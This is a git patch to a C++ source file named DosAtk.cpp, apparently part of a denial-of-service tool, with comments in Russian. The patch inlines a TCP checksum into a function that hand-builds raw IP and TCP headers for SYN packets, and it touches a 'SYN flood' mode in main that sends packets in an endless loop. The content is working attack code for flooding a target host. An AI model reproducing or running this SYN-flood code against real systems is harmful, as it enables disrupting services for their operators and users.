From 775fb4cbd8be223e6b26fc3c643ebcbf2ac319a0 Mon Sep 17 00:00:00 2001 From: Urmipie Date: Mon, 7 Apr 2025 19:34:12 +0300 Subject: [PATCH] chore: delete check_sum function check_sum function logic moved into tcp_syn --- src/DosAtk.cpp | 67 ++++++++++++++++++++------------------------------ 1 file changed, 27 insertions(+), 40 deletions(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index e1a2037..4f41031 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -364,39 +364,6 @@ int my_dns() } -unsigned short checksum(void *data, int len) { -/** - * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) - * - * Параметры: - * data - указатель на данные пакета - * len - длина данных в байтах - * - * Возвращает: - * 16-битную инвертированную контрольную сумму - */ - // === Объявление локальных переменных === - uint16_t *ptr; // Указатель для чтения 16-битных слов - unsigned long sum; // Аккумулятор для суммы - uint8_t *byte_ptr; // Указатель для чтения одиночного байта - // === Инициализация переменных === - ptr = (uint16_t *)data; // Инициализируем указатель на данные - sum = 0; // Начальное значение суммы - // === Основная логика процедуры === - // Суммируем 16-битные слова - while (len > 1) { - sum += *ptr++; // Добавляем текущее слово и перемещаем указатель - len -= 2; // Уменьшаем счетчик оставшихся байт - } - if (len == 1) { // Если остался непарный байт, добавляем его в сумму - byte_ptr = (uint8_t *)ptr; - sum += *byte_ptr; - } - sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) - return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму -} - - void my_tcp_syn() { /* * Отправляет TCP SYN запрос на указанный IP и порт @@ -415,11 +382,11 @@ void my_tcp_syn() { struct sockaddr_in target_addr; // Адрес цели // Параметры подключения - uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) - - // Структуры заголовков + uint16_t target_port; // Порт цели (в сетевом порядке байт) + // Структуры заголовков struct iphdr ip_header; // IP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет // Псевдозаголовок для контрольной суммы struct { @@ -432,7 +399,10 @@ void my_tcp_syn() { // Буферы данных char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы - char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + uint16_t *checksum_ptr; + unsigned long checksum_sum; + uint8_t *checksum_byte_ptr; + int checksum_len; // === Инициализация переменных === sock = -1; @@ -452,7 +422,7 @@ void my_tcp_syn() { // 3. Настройка адреса цели memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; - inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr); // 4. Формирование IP заголовка memset(&ip_header, 0, sizeof(ip_header)); @@ -483,7 +453,24 @@ void my_tcp_syn() { }; memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); - tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // Расчет контрольной суммы + checksum_ptr = (uint16_t *)temp_buf; + checksum_sum = 0; + checksum_len = sizeof(temp_buf); + + while (checksum_len > 1) { + checksum_sum += *checksum_ptr++; + checksum_len -= 2; + } + + if (checksum_len == 1) { + checksum_byte_ptr = (uint8_t *)checksum_ptr; + checksum_sum += *checksum_byte_ptr; + } + + checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF); + tcp_header.check = (unsigned short)(~checksum_sum); // 7. Сборка пакета memcpy(packet, &ip_header, sizeof(iphdr)); @@ -599,7 +586,7 @@ int main(int argc, char **argv) case 2: // Режим SYN-флуда (TCP) // Аналогичная логика как для UDP-режима dns_status = my_dns(); - + printf("begin TCP SYN\n"); if (dns_status == 0) { while (true)